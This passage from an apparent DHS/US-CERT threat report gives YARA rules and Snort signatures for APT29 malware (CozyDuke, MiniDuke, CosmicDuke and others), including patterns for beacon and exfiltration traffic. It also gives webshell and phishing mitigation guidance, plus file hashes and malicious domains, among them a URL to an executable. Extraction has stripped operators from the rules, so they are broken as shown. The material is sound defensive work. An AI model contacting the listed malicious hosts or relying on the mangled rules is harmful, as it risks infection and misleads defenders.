IMPLANT 6 Rules: Rule IMPLANT_6_v1  strings: STR1  dll.dll wide ascii STR2  Init1 wide ascii STR3  netui.dll wide ascii condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them TLP:WHITE 39 of 56  39 of 56  TLP:WHITE  Rule IMPLANT_6_v2  strings: obf_func   8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32 33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2 5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D 14 89 7D F4 72 A1 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_6_v3  strings: deob_func   8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A 04 3A 33 D2 8A 54 37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A 1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46 83 FE 0A 7C ?
?
condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_6_v4  strings: ASM   53 5?
5?
[
6-15] ff d?
8b ?
?
b?
a0 86 01 00 [7-13] ff d?
?
b [6-10] c0 [0-1] c3 TLP:WHITE 40 of 56  40 of 56  TLP:WHITE condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_6_v5  strings: STR1   83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B EA 8D 14 08 B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD 57 8B 7C 24 38 89 6C 24 1C C1 EE 02 3B DE 89 5C 24 18 89 74 24 20 0F 83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85 CF 00 00 00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83 86 00 00 00 8A C3 B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D 71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A 44 37 FE 03 D6 8B D8 8D 46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38 41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C 24 1C 8B 74 24 20 8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F 82 3C FF FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB 0D 33 C9 89 4C 24 38 E9 40 FF FF FF 33 C9 8B 44 24 24 33 D2 BE 06 00 00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00 8A C3 B2 06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34 8D 54 03 FE 89 54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44 3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA 07 89 54 24 2C 8D 46 FF 33 D2 BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46 3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18 C2 10 00 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_6_v6  strings: TLP:WHITE 41 of 56  41 of 56  TLP:WHITE Init1_fun  68 10 27 00 00 FF 15 ??
??
?? ?
?
A1 ??
??
?? ?
?
6A FF 50 FF 15 ??
??
?? ?
?
33 C0 C3 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_6_v7  strings: STR1  Init1 OPT1  ServiceMain OPT2  netids nocase wide ascii OPT3  netui nocase wide ascii OPT4  svchost.exe wide ascii OPT5  network nocase wide ascii condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and STR1 and 2 of (OPT)  TLP:WHITE 42 of 56  42 of 56  TLP:WHITE APPENDIX B: APT29 This section details six implants associated with APT29 actors.
Included are YARA rules as well as SNORT signatures.
Please note that despite being sound production rules, there is still the chance for False Positives.
In addition, these will complement additional analysis and should not be used as the sole source of attribution.
The following YARA rules detect IMPLANT 7, with rule naming convention.
IMPLANT 7 Rules: Rule IMPLANT_7_v1  strings: MZ  MZ STR1   8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE STR2   F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB condition: MZ at 0 and (STR1 or STR2)  Network Indicators for Implant 7 alert tcp any any - any 80 (content:.php?
pcre:/\/(?:indexstatuscapthajsoncssajaxjs)\.php\?(?
:iditemmodepagestatussftklmnbvcappjscss imcodesearch)[a-z0- 9]0,26\(?
:iditemmodepagestatussftklmnbvcappjscssimcodesearch)[a-z0-9]0,26 HTTP/ msg:Cache_DLL beacon GET 2 arg sid:1234) alert tcp any any - any 80 (content:.php?
pcre:/\/(?:indexstatuscapthajsoncssajaxjs)\.php\?(?
:iditemmodepagestatussftklmnbvcappjscss imcodesearch)[a-z0- TLP:WHITE 43 of 56  43 of 56  TLP:WHITE 9]0,26\(?
:iditemmodepagestatussftklmnbvcappjscssimcodesearch)[a-z0- 9]0,26\(?
:iditemmodepagestatussftklmnbvcappjscssimcodesearch)[a-z0-9]0,26 HTTP/ msg:Cache_DLL beacon GET 3 arg sid:1234) alert tcp any any - any 80 (content:.php?
pcre:/\/(?:indexstatuscapthajsoncssajaxjs)\.php\?(?
:iditemmodepagestatussftklmnbvcappjscss imcodesearch)[a-z0- 9]0,26\(?
:iditemmodepagestatussftklmnbvcappjscssimcodesearch)[a-z0- 9]0,26\(?
:iditemmodepagestatussftklmnbvcappjscssimcodesearch)[a-z0- 9]0,26\(?
:iditemmodepagestatussftklmnbvcappjscssimcodesearch)[a-z0-9]0,26 HTTP/ msg:Cache_DLL beacon GET 4 arg sid:1234) The following YARA rules detect HAMMERTOSS / HammerDuke, referred to as IMPLANT 8 with rule naming convention.
IMPLANT 8 Rules: rule IMPLANT_8_v1  strings: DOTNET  mscorlib ascii REF_URL  https://www.google.com/url?sa wide REF_var_1  rct wide REF_var_2  qesrc wide REF_var_3  source wide REF_var_4  cd wide REF_var_5  ved wide REF_var_6  url wide REF_var_7  ei wide REF_var_8  usg wide TLP:WHITE 44 of 56  44 of 56  TLP:WHITE REF_var_9  bvm wide REF_value_1  QFj wide REF_value_2  bv.81 wide condition: (uint16(0)  0x5A4D) and (DOTNET) and (REF_URL) and (3 of (REF_var)) and (1 of (REF_value))  Rule IMPLANT_8_v2  strings: DOTNET mscorlib ascii XOR  61 20 AA 00 00 00 61 condition: (uint16(0)  0x5A4D) and all of them  Network Indicator for Implant 8 alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:MAL_REFERER flow:established,to_server content:GET http_method content:bvmbv.81 fast_pattern http_header content:,d.
distance:6 within:3 http_header content:0D 0A distance:3within:2 http_header content:Cookie3A 20 http_header pcre:/https:\/\/www\.google\.com\/url\?satrctjqesrcssourcewebcd(?
:[0- 9]1011)ved0C[A-L]2QFjA[A-L]url[]1,512ei[A-Za-z0-9]20,22usg[A-Za-z0- 9_]34bvmbv\.81[1-7]6\,d\.
[A-Za-z0-9_]3\x0d\x0a/Dsid:1234rev:2) alert tcp any any - any any (msg: evil_twitter_callback content:GET /api/asyncTwitter.php HTTP/1.1) TLP:WHITE 45 of 56  45 of 56  TLP:WHITE The following YARA rules detect OnionDuke, referred to as IMPLANT 9 with rule naming convention.
IMPLANT 9 Rules: Rule IMPLANT_9_v1  strings: STR1   8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE STR2   8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF 3B C6 72 E7 STR3   8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88 4C 02 04 40 3B 06 72 E3 condition: (uint16(0)  0x5A4D or uint16(0)) and all of them  The following Yara rule detects CozyDuke, CozyCar, CozyBear, referred to as IMPLANT 10 with rule naming convention.
IMPLANT 10 Rules: Rule IMPLANT_10_v1  strings: MZ  MZ STR1  33 ?
?
83 F2 ?
?
81 e2 ff 00 00 00 STR2  0f be 14 01 33 d0 ?
?
f2 [1-4] 81 e2 ff 00 00 00 66 89 [6] 40 83 f8 ?
?
72 condition: TLP:WHITE 46 of 56  46 of 56  TLP:WHITE MZ at 0 and (STR1 or STR2)  Rule IMPLANT_10_v2  strings: MZ  MZ xor   34 ?
?
66 33 C1 48 FF C1 nop   66 66 66 66 66 66 0f 1f 84 00 00 00 00 00 condition: MZ at 0 and xor and nop  Network Indicators for IMPLANT 10 alert tcp any any - any 80 (content:650 pcre:/11[]1,7?2[]6,12[]1,7?410[]1,7?650[]1,7?51 HTTP\/1\.1/ msg:CozyCar sid:1) alert tcp any any - any 80 (content:.php?
HTTP content:12 distance:0 pcre:/12[]1,7?2[]12,16?
[]18,26?/ msg:CozyCarv2 sid:1234) The following YARA rules detect MiniDuke, referred to as IMPLANT 11 with rule naming convention.
IMPLANT 11 Rules: Rule IMPLANT_11_v1  TLP:WHITE 47 of 56  47 of 56  TLP:WHITE strings: STR1  63 74 00 00 // ct STR2  72 6F 74 65 // rote STR3  75 61 6C 50 // triV STR4  56 69 72 74 // Plau STR5   e8 00 00 00 00 STR6   64 FF 35 00 00 00 00 STR7  D2 C0 STR8 /\x63\x74\x00\x00.3,20\x72\x6F\x74\x65.3,20\x75\x61\x6C\x50.3,20\x56\x69\x72\x74/ condition: (uint16(0)  0x5A4D) and STR5  4 and all of them  Network Indicators for IMPLANT 11 alert tcp any any - any 25 (msg:MiniDuke-string1_slide_1_1 - new content:IUgyYll pcre:/IUgyYll(\x0d\x0a)??t(\x0d\x0a)??L(\x0d\x0a)??l(\x0d\x0a)??N(\x0d\x0a)??3(\x0d\x0a)?
?Q/) alert tcp any any - any 25 (msg:MiniDuke-string1_slide_1_2 - new content:ltLlN3Q pcre:/I(\x0d\x0a)??U(\x0d\x0a)??g(\x0d\x0a)??y(\x0d\x0a)??Y(\x0d\x0a)??l(\x0d\x0a)?
?ltLlN3Q/) alert tcp any any - any 25 (msg:MiniDuke-string1_slide_2_1 - new content:FIMmJZ pcre:/FIMmJZ(\x0d\x0a)??b(\x0d\x0a)??S(\x0d\x0a)??5(\x0d\x0a)??T(\x0d\x0a)??d(\x0d\x0a)?
?0/) alert tcp any any - any 25 (msg:MiniDuke-string1_slide_2_2 - new content:bS5Td0 pcre:/F(\x0d\x0a)??I(\x0d\x0a)??M(\x0d\x0a)??m(\x0d\x0a)??J(\x0d\x0a)??Z(\x0d\x0a)?
?bS5Td0/) alert tcp any any - any 25 (msg:MiniDuke-string1_slide_3_1 - new content:hSDJiWW pcre:/hSDJiWW(\x0d\x0a)??0(\x0d\x0a)??u(\x0d\x0a)??U(\x0d\x0a)??3(\x0d\x0a)??d(\x0d\x0a)?
?A/) TLP:WHITE 48 of 56  48 of 56  TLP:WHITE alert tcp any any - any 25 (msg:MiniDuke-string1_slide_3_2 - new content:W0uU3dA pcre:/h(\x0d\x0a)??S(\x0d\x0a)??D(\x0d\x0a)??J(\x0d\x0a)??i(\x0d\x0a)??W(\x0d\x0a)?
?W0uU3dA/) alert tcp any any - any 25 (msg:MiniDuke-string2_slide_1_1 - new content:QDM0Zlo pcre:/QDM0Zlo(\x0d\x0a)??3(\x0d\x0a)??R(\x0d\x0a)??V(\x0d\x0a)??t(\x0d\x0a)??w(\x0d\x0a)?
?X/) alert tcp any any - any 25 (msg:MiniDuke-string2_slide_1_2 - new content:o3RVtwX pcre:/Q(\x0d\x0a)??D(\x0d\x0a)??M(\x0d\x0a)??0(\x0d\x0a)??Z(\x0d\x0a)??l(\x0d\x0a)?
?o3RVtwX/) alert tcp any any - any 25 (msg:MiniDuke-string2_slide_2_1 - new content:AzNGZa pcre:/AzNGZa(\x0d\x0a)??N(\x0d\x0a)??0(\x0d\x0a)??V(\x0d\x0a)??b(\x0d\x0a)??c(\x0d\x0a)?
?F/) alert tcp any any - any 25 (msg:MiniDuke-string2_slide_2_2 - new content:N0VbcF pcre:/A(\x0d\x0a)??z(\x0d\x0a)??N(\x0d\x0a)??G(\x0d\x0a)??Z(\x0d\x0a)??a(\x0d\x0a)?
?N0VbcF/) alert tcp any any - any 25 (msg:MiniDuke-string2_slide_3_1 - new content:AMzRmWj pcre:/AMzRmWj(\x0d\x0a)??d(\x0d\x0a)??F(\x0d\x0a)??W(\x0d\x0a)??3(\x0d\x0a)??B(\x0d\x0a)?
?c/ ) alert tcp any any - any 25 (msg:MiniDuke-string2_slide_3_2 - new content:jdFW3Bc pcre:/A(\x0d\x0a)??M(\x0d\x0a)??z(\x0d\x0a)??R(\x0d\x0a)??m(\x0d\x0a)??W(\x0d\x0a)?
?jdFW3Bc/ ) The following YARA rules detect CosmicDuke, referred to as IMPLANT 12 with rule naming convention.
IMPLANT 12 Rules: Rule IMPLANT_12_v1 TLP:WHITE 49 of 56  49 of 56  TLP:WHITE  strings: FUNC  a1 [3-5] 33 c5 89 [2-3] 56 57 83 [4-6] 64 condition: (uint16(0)  0x5A4D) and FUNC  Network Indicators for IMPLANT 12 alert tcp any any - any 80 (msg:CosmicDuke HTTP Beacon content:BranchID pcre:/\?(?
:mmgn)\Auth\[a-zA-Z0-9]8\Session\/ ) alert tcp any any - any 80 (msg:CosmicDuke Webdav Exfil content:PUT /catalog/outgoing/wd pcre:/PUT \/catalog\/outgoing\/wd[a-zA-Z0-9]44\.bin/) alert tcp any any - any 21 (msg:CosmicDuke FTP Exfil content:STOR fp pcre:/STOR fp[a-zA- Z0-9]44\.bin/ ) TLP:WHITE 50 of 56  50 of 56  TLP:WHITE APPENDIX C: Mitigations Guidance Defending Against Webshell Attacks Defend Continually patch all webservers and all web components servicing the site, including PHP, Apache, IIS, and ColdFusion.
Deploying a webshell typically requires adding to, or modifying, the code presented by the web server and is often accomplished via an exploit of a web server vulnerability.
Patching all components that service the web server provides a substantial mitigation against most commonly known vulnerabilities.
Adhere to least privilege principles for server access and management.
Through following the principle of least privilege, lateral movement and privilege escalation is made more challenging to an attacker by restricting access on the box and across the network.
Restrict write access to all folders that contain files served by the web server.
All content served by the web server should be tightly controlled in such a way that only web administrator accounts can modify or add content.
This would force an attacker to gain specific sets of credentials before they could add any malicious content to be delivered by the server.
Restrict access to all ports and administrative panels.
Server ports are typically very predictable, and access to those ports should be constrained to only the services and users that require them.
This will reduce the attack surface on the web server and supporting applications.
Deploy and configure Security-Enhanced Linux (SELinux) on supported Linux specific systems.
SELinux has the capability to lock down web services such as Apache and can be configured to allow the service to access only certain directories.
The administrators could possibly include /var/www/html, which contains the actual pages being served up.
If a site has upload capabilities, then SELinux could help with least privilege by restricting read/write access on these folders as well.
The web service already runs in a lower privilege context, but SELinux would also limit the file locations that it can actually access.
This would prevent arbitrary file writes and possible malware uploads to areas that an admin would not normally detect.
Conduct regular vulnerability scans and establish a remediation strategy focusing on the most detrimental findings first.
Regular scanning and remediation measures will remove opportunities to exploit known attack vectors by an adversary.
Deploy a Web Application Firewall (WAF).
WAF technologies defend against common web exploitation techniques such as SQL injection and cross site scripting.
Deploying this capability helps reduce the likelihood of a successful web attack on the server that could otherwise allow the perpetrator to modify code and deploy the webshell.
TLP:WHITE 51 of 56  51 of 56  TLP:WHITE Where third party products are integrated into the website (e.g., Adobe ColdFusion) ensure that the product is configured according to DoD or vendor published hardening best practices.1 Detect Conduct regular log review.
Key sources should include the network and host firewalls, Intrusion Prevention System, proxy, and local event logs.
Events of interest should include high usage rates to suspicious IPs, odd timestamps on web files (dates that dont match previous content updates), odd connections destined for internal networks, suspicious files in internet accessible locations, references to key words such as cmd.exe or eval.4 Auditing should involve some kind of aggregator to store and secure the logs remotely.
Even the best auditing on the web server is useless if the attacker can just manipulate or delete them once they have obtained control.
The logs should be protected and regularly rolled up to a centralized location for integration into a security information and event management system.
Develop all content in an offline environment and maintain a hash list of all web files.
Frequently compare the hashes of the files on the web server to the known good list maintained offline (an automated method is preferred).
Obtain regular full system backups (including snapshots if it is a virtual machine).
Forensically the known good data that these can provide is extremely useful for detection.
Having a copy of the filesystem before a compromise to compare against the post- compromise filesystem can be a benefit to any analysis.
Analyze traffic flows looking for certain anomalous behaviors such as prolonged connections, data frequently being pushed to the server (e.g., commands being sent to the shell), frequent large data transfers (an indication of data exfiltration), and abnormal encryption (anything that is not SSL/TLS or that negotiates using an alternate certificate) as indicators of potential nefarious activity.2 Contain Internet facing web servers should be deployed to a DMZ.
All traffic to internal networks from the DMZ should be significantly constrained and highly monitored.
Restrict outbound communications from the DMZ to all other networks.
Communications originating in the DMZ destined for the internal network should be minimal at most (ideally this should never happen).
An attacker who gains access to a web server in the DMZ should have no capability to leverage that access in order to gain direct additional access in the internal network.
Web server communications to the internet should be restricted to http/https only.
All other ports and protocols should be blocked.
1 https://helpx.adobe.com/coldfusion/community-documentation/coldfusion-lockdown-guide.html 2 https://www.us-cert.gov/ncas/alerts/TA15-314A https://helpx.adobe.com/coldfusion/community-documentation/coldfusion-lockdown-guide.html https://www.us-cert.gov/ncas/alerts/TA15-314A TLP:WHITE 52 of 56  52 of 56  TLP:WHITE When a Domain Controller (DC) is necessary in the DMZ, it is recommended that a standalone DC and forest structure be deployed.
Additionally, all accounts and resources in the DMZ instance should have no association or likeness to the internal network.
Ensure separation of admin accounts.
The web admin account should not be the same admin account that is used elsewhere on the domain.
Respond When a compromise is found, reset all credentials associated with the webserver (this may expand to all accounts in the DMZ if it is suspected that the compromise has expanded to the DC).
This should include all user and service accounts, all domain accounts that have logged onto that host and all local accounts, to include the Kerberos master ticket granting ticket on the DC.
Depending on the circumstances, it may also be necessary to take the suspected server(s) or network offline during the remediation process.
All server files should be wiped and restored from a known good source.
The organization should prepare for a disaster recovery situation that includes a system compromise.
Regular backups and offline storage of the data files should be made before being transferred to the DMZ production environment.
When all other response techniques have failed at remediating the suspected compromise, the server(s) should be completely rebuilt or replaced.
All data reconstitution efforts should stem from a known good source (offline backup).
Defending Against Spear Phishing Attacks Defend Enforce application whitelisting on all endpoint workstations to prevent droppers or unauthorized software from gaining execution on endpoints.
Many phishing attacks involve an executable that is dropped and installed on the victims machine.
Application Whitelisting will allow the organization to monitor programs and allow only those that are on the approved whitelist to execute.
This would help to stop the initial attack, even if the user has clicked the link or opened a malicious attachment.
There are many baseline rulesets that come with the vendor product, but the organization should ensure that at least the user Temp directories are blocked for execution since this is where numerous phishing emails attempt to drop and execute malware.
Disable Macros in office products.
Macros are a common method for executing code through an attached office document.
Macros were often used as a means for initial exploitation in the late 1990s and early 2000s but have seen a recent resurgence in frequency of use.
Some office products allow for the disabling of macros that originate from outside of the organization and can provide a hybrid approach when the organization depends on the legitimate use of macros.
For Windows, specific settings can be configured to block Internet originated macros from running.
This can be done in the Group Policy Administrative Templates for each of the associated Office products (specifically Word, Excel, and PowerPoint).
For example, to enable the policy setting for Microsoft Word 2016, in the TLP:WHITE 53 of 56  53 of 56  TLP:WHITE Group Policy Management Editor, select: User Configuration  Administrative Templates Microsoft Word 2016  Word Options  Security  Trust Center  Block macros from running in Office files from the Internet3 Utilize up to date web browsers on the network for increased security enhancements.
These improvements may include a sandboxing feature that would allow the browser to contain any malicious content and protect the endpoint if an emailed link is clicked.
Deploy web and email filters on the network and configure these devices to scan for known bad domains, sources, and addresses block these before messages are received and downloaded.
This action will help to reduce the attack surface at the networks first level of defense.
In addition, attachments should be filtered.
The network defenses should only allow approved extensions to pass through to the email client.
Most .exe, scripting extensions (including .bat, .js, and .ps1) and other executable extensions should be blocked.
Scan all emails, attachments, and downloads both on host and at the mail gateway with a reputable antivirus solution that includes cloud reputation services.
Taking advantage of cloud reputation advancements provides rapid response capabilities and the integration of a broad base of cyber defense intelligence.
Organizations should ensure that they have disabled HTML from being used in emails, as well as disabling links.
Everything should be forced to plain text.
This will reduce the likelihood of potentially dangerous scripts or links being sent in the body of the email, and also will reduce the likelihood of a user just clicking something without thinking about it.
With plain text, the user would have to go through the process of either typing in the link or copying and pasting.
This additional step will allow the user an extra opportunity for thought and analysis before clicking on the link.
Establish a training mechanism to inform end users on proper email and web usage as well as common indicators of phishing to be aware of.
This training should be done at least annually and should include a test that is scored and available for viewing by management and/or the IT Security department.
The training should inform users what suspicious emails look like, what to do when they suspect phishing, as well as explain what they should post on any websites in terms of personally identifiable information (PII) that may be used for phishing campaigns (including email addresses, job titles, names, etc.
).
Consider real life interactive training simulations where users are sent suspicious emails on a semi regular basis and subsequently redirected to a phishing training site should they fail to adhere to the organizations best practices and policies.
Detect Monitor event logs, email logs, and firewall logs for any indicators of a potential attack.
These could include emails from suspicious domains, installation of programs on machines 3 https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block- macros-and-help-prevent-infection/ https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/ https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/ TLP:WHITE 54 of 56  54 of 56  TLP:WHITE that are unusual or not approved, unusual call outs to the internet from office products, non- smtp traffic from the email client, strange child processes under the parent office process, or spoofed domains sending or receiving traffic from the network.
Strange Traffic/Behavior (e.g., Spamming others) should also be looked for in the various logs.
This is a strong indicator that machine(s) are compromised in some way.
Using the antivirus software that is installed on the mailbox server and all of the clients, review the alerts and logs regularly for any activity on the network.
The sooner detection can take place, the sooner remediation steps can start, and the amount of damage can be minimalized.
Users play an important role in the detection of spear phishing if they understand the proper reporting procedures of the organization.
Users should be able to identify the correct handling and alerting procedure that the users should follow for any suspicious email they receive.
Using the logs from the organizations firewalls/filters/security devices/workstations, administrators should always ensure that their whitelisted and blacklisted domains are up to date.
Admins should also check DoD blacklists for known bad domains and add these to their filters as well.
Using these logs and lists, the organization may benefit from other incidents that have occurred to help in the future Contain Utilize application containment products that can be used to prevent the downloading and propagation of malicious software on the network.
If the organization is using some form of web email, the browser must be containerized.
If the organization is using a program for email (e.g., Microsoft Outlook or Mozilla Thunderbird), then that program should be containerized for protection.
The Application Containment will open the browser or email program in its own Virtual Machine and isolate it from the rest of the system.
This allows the execution of potential malware in a sandboxed environment so the host system is protected.
Implement front and back end email servers when running on site instantiations of mail services.
Having a front-end server allows the organization to have an extra layer of protection on the network since the front-end mailbox server contains no user data and allows a firewall to be placed before the back end server.
This is also safer and more convenient for any web accessed email since web traffic is not being allowed directly into the network, protects from denial-of-service attacks, and authenticates requests before proxying them to the back end server.4 Control where and when an administrator can log on, as well as what they can do when logged onto a system.
This can minimize the damage of a spear phishing attack.
Admins should never be allowed to browse the internet, nor should they be allowed to open any email program.
This will reduce the likelihood of an accidental click or download of a program that could be malicious.
This also will reduce the chances that a successful attacker will gain 4 https://technet.microsoft.com/en-us/library/bb124804(vexchg.65).aspx https://technet.microsoft.com/en-us/library/bb124804(vexchg.65).aspx TLP:WHITE 55 of 56  55 of 56  TLP:WHITE admin privileges immediately when they gain access to the system.
Organizations can accomplish this restriction a number of ways, including application whitelisting, VLAN separation, dedicated administrator boxes, etc.
Ensure that standard user accounts are not a part of the local administrators group.
The local administrator account should also be denied network access and all built in local administrator accounts should have a unique password value.
It is a common tactic to look for local administrator credentials as a method of expanding access across the network.
Making these values unique for each machine and denying that account network access removes the attackers capability to easily expand access using the same credentials5.
Respond If a phishing email is discovered or suspected, the organization needs to start their normal investigation procedures.
It may be as simple as deleting that email and updating the email filter to prevent this address/domain from sending to the organization again, but it could also trigger a normal incident response.
If the email contained a link that was clicked, an attachment that was downloaded, or a program that was executed, the organization may have to remove any malicious content, discover the extent of the possible spread, detail any exfiltration of data, or even remove the affected machine(s) or rebuild them.
Reset user credentials and all credentials associated with all compromised boxes.
This should include services accounts and machine accounts as well as the supporting Kerberos tickets.
Monitor all accounts associated with the spear-phishing event.
User accounts who are suspected to have been the victim of a successful phishing campaign should be forensically monitored for abnormal behaviors including unusual connections to non-standard resources, attempts to elevate privileges, enumeration behaviors on the local host machine as well as remote systems, and attempts to execute odd programs or applications.
5 https://www.microsoft.com/en-us/download/details.aspx?id36036 https://www.microsoft.com/en-us/download/details.aspx?id36036 TLP:WHITE 56 of 56  56 of 56  TLP:WHITE APPENDIX D: Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 (TLP WHITE) TLP:WHITE Malware Initial Findings Report (MIFR) - 10105049-Update2 2017-01-23 Notification This report is provided as is for informational purposes only.
The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within.
The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distr buted without restriction.
For more information on the Traffic Light Protocol, see http://www.us-cert.gov /tlp/.
Summary Description This report is an update to MIFR-10105049 and provides additional analysis of the artifacts identified in the NCCIC Joint Analysis Report (JAR 16-20296) dated December 19, 2016.
The artifacts analyzed in this report include 17 PHP files, 3 executables and 1 RTF file.
The PHP files are webshells designed to provide a remote user an interface for various remote operations.
The rtf file is a malicious document designed to install and execute a malicious executable.
Files Processed 21 10b1306f322a590b9cef4d023854b850 (0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09) 128cc715b25d0e55704ed9b4a3f2ef55 (0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e) 1ec7f06f1ee4fa7cecd17244eec24e07 (a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806) 38f7149d4ec01509c3a36d4567125b18 (7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf) 617ba99be8a7d0771628344d209e9d8a (9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5) 66948b04173b523ca773c3073afb506d (449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602) 70f93f4f17d0e46137718fe59591dafb (bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4) 78abd4cdccab5462a64ab4908b6056bd (6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46) 7fce89d5e3d59d8e849d55d604b70a6f (2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4) 81f1af277010cb78755f08dfcc379ca6 (ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e) 8f154d23ac2071d7f179959aaba37ad5 (55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641) 93f512e2d9d00bf0bcf1e03c6898cb1e (249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e) a5e933d849367d623d1f2692b6691bbf (7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e) ae7e3e531494b201fbf6021066ddd188 (9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0) bfcb50cffca601b33c285b9f54b64cb1 (da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8) c3e23ef7f5e41796b80ca9e59990fe9c (20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239) dc4594dbeafbc8edfa0ac5983b295d9b (9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f) e80f92faa5e11007f9ffea6df2297993 (3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7) eddfe110da553a3dc721e0ad4ea1c95c (ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975) f3ecf4c56f16d57b260b9cf6ec4519d6 (1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751) fc45abdd5fb3ffa4d3799737b3f597f4 (d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38) Domains Identified 9 private.directinvesting.com cderlearn.com wilcarobbe.com one2shoppee.com ritsoperrol.ru littjohnwilhap.ru insta.reduct.ru editprod.waterfilter.in.ua mymodule.waterfilter.in.ua/system/logs/xtool.exe US-CERT 